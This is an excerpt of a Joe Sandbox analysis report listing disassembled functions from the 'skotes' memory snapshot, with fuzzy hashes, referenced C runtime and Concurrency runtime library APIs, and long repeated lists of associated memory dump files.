Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: ___scrt_fastfail
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2964418898-3242537097
Opcode ID: dbdbf598b16a6c0cc9fc16d124c7fbd5b39305de536e7a585782b052d673bb8f
Instruction ID: 326eeb3a0f83ef1d62f9de6e62983169d3f02a01b086528d598dcf9d484799d4
Opcode Fuzzy Hash: dbdbf598b16a6c0cc9fc16d124c7fbd5b39305de536e7a585782b052d673bb8f
Instruction Fuzzy Hash: 6301D620782B51AAFF303B7A5C11E5B61C8CF92B4CF0615B5FD00F72A0EEA1EC018561

Function 00BC4C14 Relevance: 7.7, APIs: 5, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00BC4C98
__alloca_probe_16.LIBCMT ref: 00BC4D5E
__freea.LIBCMT ref: 00BC4DCA

Part of subcall function 00BBB04B: RtlAllocateHeap.NTDLL(00000000,670DF653,?,?,00B9D3FC,670DF653,?,00B97A8B,?,?,?,?,?,?,00B87465,?), ref: 00BBB07E

__freea.LIBCMT ref: 00BC4DD3
__freea.LIBCMT ref: 00BC4DF6

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 45eaaa9486de05b207248df07a818a16de7632843ac3a897c9c824b6b37a89d9
Instruction ID: 6a016d573a0a6591dd514e95bc6808df871b22c93e7bef99b102611fd79bd18b
Opcode Fuzzy Hash: 45eaaa9486de05b207248df07a818a16de7632843ac3a897c9c824b6b37a89d9
Instruction Fuzzy Hash: 6F51D272600206AFEB21AF64DC91FBB3BE9DF84750F2505ADFD05A7151EBB0DE1086A0

Function 00BAE8DD Relevance: 7.6, APIs: 5, Instructions: 117COMMON

Download Yara Rule

APIs

Concurrency::location::_Assign.LIBCMT ref: 00BAE91E
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 00BAE926
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00BAE950
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 00BAE959
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 00BAE9DC

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Context$Base::$GroupScheduleSegment$AssignAvailableConcurrency::location::_EventInternalMakeProcessor::ReleaseRunnableTraceVirtual
String ID:
API String ID: 512098550-0
Opcode ID: ff9de66d8cc43e6b86b139b2a9043d97d1abf4778bd23751400774ebbc5bc145
Instruction ID: 98c148bc1c75cb43b64ad9974fb6deb7f59fc75039bb5881793f3593072b0b44
Opcode Fuzzy Hash: ff9de66d8cc43e6b86b139b2a9043d97d1abf4778bd23751400774ebbc5bc145
Instruction Fuzzy Hash: CC415E75A05219AFCB09EF68C454A6DB7F5FF49310F048199E516A7390DB34AE01CB80

Function 00BAD2B9 Relevance: 7.6, APIs: 5, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ReferenceCountedQuickBitSet::InterlockedSet.LIBCONCRT ref: 00BAD344
ListArray.LIBCONCRT ref: 00BAD367
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 00BAD370
ListArray.LIBCONCRT ref: 00BAD3A8
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 00BAD3B3

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$ArrayListVirtual$ActiveAvailableBase::CountedInterlockedMakeProcessorProcessor::QuickReferenceSchedulerSet::
String ID:
API String ID: 4212520697-0
Opcode ID: 5e4031eaee5ff64f823bbecb33b183da81b99ddb5eeac37e51e507bd26b4b50f
Instruction ID: 7103cfe16793612c06191ea351a8b1a64b9624894edb6afa83f28e5be8034567
Opcode Fuzzy Hash: 5e4031eaee5ff64f823bbecb33b183da81b99ddb5eeac37e51e507bd26b4b50f
Instruction Fuzzy Hash: C331BE79708210AFCB05EF54C884BADB7E6EF8A300F1401D9E8069B392DB70ED41CB96

Function 00BA86C9 Relevance: 7.6, APIs: 5, Instructions: 88COMMON

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 00BA86EE

Part of subcall function 00B9EAD0: _SpinWait.LIBCONCRT ref: 00B9EAE8

Concurrency::details::ContextBase::ClearAliasTable.LIBCONCRT ref: 00BA8702
Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00BA8734
List.LIBCMT ref: 00BA87B7
List.LIBCMT ref: 00BA87C6

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: ListSpinWait$AcquireAliasBase::ClearConcurrency::details::Concurrency::details::_ContextLock::_ReaderTableWriteWriter
String ID:
API String ID: 3281396844-0
Opcode ID: ec12fc16609afa9701f835992c6809c1f8f5c61a137e9d536363a3f8065491cb
Instruction ID: 6fa47c9636fd2687d0da77aec0013a140cf7daf6583c44f10594ae2112980e3e
Opcode Fuzzy Hash: ec12fc16609afa9701f835992c6809c1f8f5c61a137e9d536363a3f8065491cb
Instruction Fuzzy Hash: AA314832909656DFCF14EFA4C5816EDB7F1BF06318F2400EAD4116BA52DB31AD04CBA5

Function 00BB182A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00BB18A4
Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 00BB18EB

Strings

pContext, xrefs: 00BB189C

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
